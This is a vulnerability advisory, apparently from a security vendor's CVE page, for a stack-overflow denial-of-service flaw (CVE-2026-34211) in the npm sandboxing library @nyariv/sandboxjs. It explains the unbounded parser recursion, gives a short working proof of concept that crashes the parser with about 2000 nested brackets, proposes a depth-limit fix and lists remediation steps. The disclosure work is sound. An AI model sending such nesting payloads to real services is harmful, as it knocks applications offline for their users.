Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-34211 @nyariv/sandboxjs

CVE-2026-34211 is a CWE-674 vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.

SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser

Published
Apr 3, 2026
Updated
Apr 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34211.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

9other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@nyariv/sandboxjsnpm
56Kdownloads / week

Description

Summary

The @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process.

Details

The root cause is in src/parser.ts. The restOfExp function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected firstOpening, it recursively calls itself at line 503:

// src/parser.ts:486-505
} else if (closings[char]) {
  // ...
  if (char === firstOpening) {
    done = true;
    break;
  } else {
    const skip = restOfExp(constants, part.substring(i + 1), [], char);  // line 503
    cache.set(skip.start - 1, skip.end);
    i += skip.length + 1;
  }
}

Each nested bracket ((, [, {) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
): CodeString {

A second unbounded recursive path exists through lispifylispTypes.get(type)group handler → lispifyExpr (line 672) → lispify, which processes parenthesized groups recursively with no depth limit.

All public API methods (Sandbox.parse(), Sandbox.compile(), Sandbox.compileAsync(), Sandbox.compileExpression(), Sandbox.compileExpressionAsync()) pass user input directly to parse() with no input validation or depth limiting.

A RangeError: Maximum call stack size exceeded in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.

PoC

# Install the package
npm install @nyariv/sandboxjs

# Create test file
cat > poc.js << 'EOF'
const { default: Sandbox } = require('@nyariv/sandboxjs');
const s = new Sandbox();

// Trigger via nested parentheses
console.log("Testing nested parentheses...");
try {
  s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}

// Trigger via nested array brackets
console.log("Testing nested array brackets...");
try {
  s.compile('a' + '[0]'.repeat(2000));
  console.log("No crash");
} catch(e) {
  console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
EOF

node poc.js

Expected output:

Testing nested parentheses...
Crash: RangeError: Maximum call stack size exceeded
Testing nested array brackets...
Crash: RangeError: Maximum call stack size exceeded

Verified on Node.js v22 with @nyariv/[email protected].

Impact

Any application using @nyariv/sandboxjs to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario.

An attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.

Recommended Fix

Add a depth parameter to restOfExp and throw a ParseError when a maximum depth is exceeded:

// src/parser.ts - restOfExp function
const MAX_PARSE_DEPTH = 256;

export function restOfExp(
  constants: IConstants,
  part: CodeString,
  tests?: RegExp[],
  quote?: string,
  firstOpening?: string,
  closingsTests?: RegExp[],
  details: restDetails = {},
  depth: number = 0,          // ADD depth parameter
): CodeString {
  if (depth > MAX_PARSE_DEPTH) {
    throw new ParseError('Expression nesting depth exceeded', part.toString());
  }
  // ... existing code ...

  // At line 503, pass depth + 1:
  const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);

  // At line 480 (template literal), also pass depth + 1:
  const skip = restOfExp(constants, part.substring(i + 2), [], '{', undefined, undefined, {}, depth + 1);
}

Similarly, add depth tracking to lispify and lispifyExpr:

function lispify(
  constants: IConstants,
  part: CodeString,
  expected?: readonly string[],
  lispTree?: Lisp,
  topLevel = false,
  depth: number = 0,         // ADD depth parameter
): Lisp {
  if (depth > MAX_PARSE_DEPTH) {
    throw new ParseError('Expression nesting depth exceeded', part.toString());
  }
  // ... pass depth + 1 to recursive lispify/lispifyExpr calls ...
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@nyariv/sandboxjsall versions0.8.36npm install @nyariv/sandboxjs@0.8.36

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @nyariv/sandboxjs to 0.8.36 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34211 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34211 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34211. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `@nyariv/sandboxjs` parser contains unbounded recursion in the `restOfExp` function and the `lispify`/`lispifyExpr` call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a `RangeError: Maximum call stack size exceeded` that terminates the process. ## Details The root cause is in `src/parser.ts`. The `restOfExp` function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected `firstOpening`, it recursiv
O3 Security · Impact-Aware SCA

Is CVE-2026-34211 in your dependencies?

O3 Security finds CVE-2026-34211 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.